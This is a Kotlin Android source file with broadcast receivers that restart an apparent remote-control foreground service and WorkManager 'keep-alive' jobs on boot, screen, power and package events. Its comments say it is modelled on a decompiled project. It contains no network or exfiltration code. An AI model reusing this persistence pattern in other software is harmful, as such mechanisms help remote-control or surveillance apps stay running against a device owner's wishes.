package com.hikoncont.service

import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import android.util.Log
import kotlinx.coroutines.*

/**
 * 增强系统事件接收器 - 借鉴反编译项目的SystemEventReceiver
 * 主要职责：
 * 1. 监听系统事件
 * 2. 服务重启
 * 3. 保活机制
 */
class EnhancedSystemEventReceiver : BroadcastReceiver() {

    companion object {
        private const val TAG = "EnhancedSystemEventReceiver"
    }

    override fun onReceive(context: Context, intent: Intent) {
        try {
            val action = intent.action
            Log.i(TAG, "📡 收到系统事件广播: $action")
            
            when (action) {
                Intent.ACTION_BOOT_COMPLETED,
                Intent.ACTION_MY_PACKAGE_REPLACED,
                Intent.ACTION_USER_PRESENT,
                Intent.ACTION_SCREEN_ON,
                Intent.ACTION_POWER_CONNECTED,
                Intent.ACTION_PACKAGE_ADDED,
                Intent.ACTION_PACKAGE_REPLACED,
                "android.mycustrecev.RESTART_SERVICES" -> {
                    // 异步处理服务重启
                    CoroutineScope(Dispatchers.IO).launch {
                        handleServiceRestart(context, action)
                    }
                }
                Intent.ACTION_SCREEN_OFF -> {
                    Log.d(TAG, "📱 屏幕熄灭，继续后台保活")
                }
                Intent.ACTION_BATTERY_LOW -> {
                    Log.w(TAG, "🔋 电池电量低，调整保活策略")
                    handleBatteryLow(context)
                }
                Intent.ACTION_BATTERY_OKAY -> {
                    Log.i(TAG, "🔋 电池电量正常，恢复保活策略")
                    handleBatteryOkay(context)
                }
                else -> {
                    Log.d(TAG, "📡 未处理的系统事件: $action")
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理系统事件失败", e)
        }
    }

    /**
     * 处理服务重启
     */
    private suspend fun handleServiceRestart(context: Context, action: String) {
        try {
            Log.i(TAG, "🔄 处理服务重启: $action")
            
            // 延迟启动，快速响应
            delay(500)
            
            // 启动所有保活服务
            startAllKeepAliveServices(context)
            
            // 检查无障碍服务
            checkAccessibilityService(context)
            
            Log.i(TAG, "✅ 服务重启处理完成")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理服务重启失败", e)
        }
    }

    /**
     * 启动所有保活服务 - 参考 f 目录策略，简化版本
     * 只启动主前台服务和 WorkManager 保活
     */
    private fun startAllKeepAliveServices(context: Context) {
        try {
            Log.i(TAG, "🚀 启动保活服务（参考 f 目录策略）")
            
            // ✅ 参考 f 目录：只启动主前台服务（对应 BackRunServerUseUse）
            val foregroundIntent = Intent(context, RemoteControlForegroundService::class.java)
            if (android.os.Build.VERSION.SDK_INT >= 26) {
                context.startForegroundService(foregroundIntent)
            } else {
                context.startService(foregroundIntent)
            }
            Log.i(TAG, "✅ 主前台服务已启动")
            
            // ✅ 启动 WorkManager 保活（对应 f 目录的系统级 WorkManager）
            WorkManagerKeepAliveService.getInstance().startKeepAlive(context)
            Log.i(TAG, "✅ WorkManager保活已启动")
            
            Log.i(TAG, "✅ 保活服务启动完成")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动保活服务失败", e)
        }
    }

    /**
     * 检查无障碍服务
     */
    private fun checkAccessibilityService(context: Context) {
        try {
            val accessibilityService = AccessibilityRemoteService.getInstance()
            if (accessibilityService == null) {
                Log.w(TAG, "⚠️ 无障碍服务未运行，发送重启广播")
                // ✅ 参考 f 目录：不重启无障碍服务，系统会自动管理
                Log.d(TAG, "📱 无障碍服务由系统自动管理，无需手动重启")
            } else {
                Log.d(TAG, "✅ 无障碍服务运行正常")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查无障碍服务失败", e)
        }
    }

    /**
     * 处理电池电量低
     */
    private fun handleBatteryLow(context: Context) {
        try {
            Log.w(TAG, "🔋 电池电量低，调整保活策略")
            
            // 降低保活频率
            // 这里可以调整AlarmManager的间隔时间
            // 或者暂停某些非关键服务
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理电池电量低失败", e)
        }
    }

    /**
     * 处理电池电量正常
     */
    private fun handleBatteryOkay(context: Context) {
        try {
            Log.i(TAG, "🔋 电池电量正常，恢复保活策略")
            
            // 恢复正常的保活策略
            // 重新启动所有保活服务
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理电池电量正常失败", e)
        }
    }
}

/**
 * 增强开机自启动接收器 - 借鉴反编译项目的BootReceiver
 */
class EnhancedBootReceiver : BroadcastReceiver() {

    companion object {
        private const val TAG = "EnhancedBootReceiver"
    }

    override fun onReceive(context: Context, intent: Intent) {
        try {
            val action = intent.action
            Log.i(TAG, "🚀 收到开机广播: $action")
            
            when (action) {
                Intent.ACTION_BOOT_COMPLETED,
                "android.intent.action.QUICKBOOT_POWERON",
                "miui.intent.action.BOOT_COMPLETEDT" -> {
                    // 延迟启动，等待系统完全启动
                    CoroutineScope(Dispatchers.IO).launch {
                        delay(1000) // 等待1秒快速启动
                        startAllServices(context)
                    }
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理开机广播失败", e)
        }
    }

    /**
     * 启动所有服务
     */
    private fun startAllServices(context: Context) {
        try {
            Log.i(TAG, "🚀 开机自启动所有服务")
            
            // 启动所有保活服务
            val enhancedReceiver = EnhancedSystemEventReceiver()
            enhancedReceiver.onReceive(context, Intent("android.mycustrecev.RESTART_SERVICES"))
            
            Log.i(TAG, "✅ 开机自启动完成")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 开机自启动失败", e)
        }
    }
}

/**
 * 增强应用包变化接收器 - 借鉴反编译项目的PackagesReceiver
 */
class EnhancedPackagesReceiver : BroadcastReceiver() {

    companion object {
        private const val TAG = "EnhancedPackagesReceiver"
    }

    override fun onReceive(context: Context, intent: Intent) {
        try {
            val action = intent.action
            Log.i(TAG, "📦 收到应用包变化广播: $action")
            
            when (action) {
                Intent.ACTION_PACKAGE_ADDED,
                Intent.ACTION_PACKAGE_REPLACED,
                Intent.ACTION_PACKAGE_REMOVED,
                Intent.ACTION_PACKAGE_CHANGED,
                Intent.ACTION_MY_PACKAGE_REPLACED -> {
                    // 异步处理应用包变化
                    CoroutineScope(Dispatchers.IO).launch {
                        handlePackageChange(context, action)
                    }
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理应用包变化失败", e)
        }
    }

    /**
     * 处理应用包变化
     */
    private suspend fun handlePackageChange(context: Context, action: String) {
        try {
            Log.i(TAG, "📦 处理应用包变化: $action")
            
            when (action) {
                Intent.ACTION_PACKAGE_ADDED,
                Intent.ACTION_PACKAGE_REPLACED,
                Intent.ACTION_MY_PACKAGE_REPLACED -> {
                    // 应用安装或更新，重启服务
                    delay(500) // 快速响应
                    startAllKeepAliveServices(context)
                }
                Intent.ACTION_PACKAGE_REMOVED -> {
                    // 应用卸载，检查是否影响我们的服务
                    Log.d(TAG, "📦 应用被卸载，检查服务状态")
                }
                Intent.ACTION_PACKAGE_CHANGED -> {
                    // 应用状态变化，检查服务
                    Log.d(TAG, "📦 应用状态变化，检查服务状态")
                }
            }
            
            Log.i(TAG, "✅ 应用包变化处理完成")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理应用包变化失败", e)
        }
    }

    /**
     * 启动所有保活服务
     */
    private fun startAllKeepAliveServices(context: Context) {
        try {
            Log.i(TAG, "🚀 启动所有保活服务")
            
            val enhancedReceiver = EnhancedSystemEventReceiver()
            enhancedReceiver.onReceive(context, Intent("android.mycustrecev.RESTART_SERVICES"))
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动保活服务失败", e)
        }
    }
}
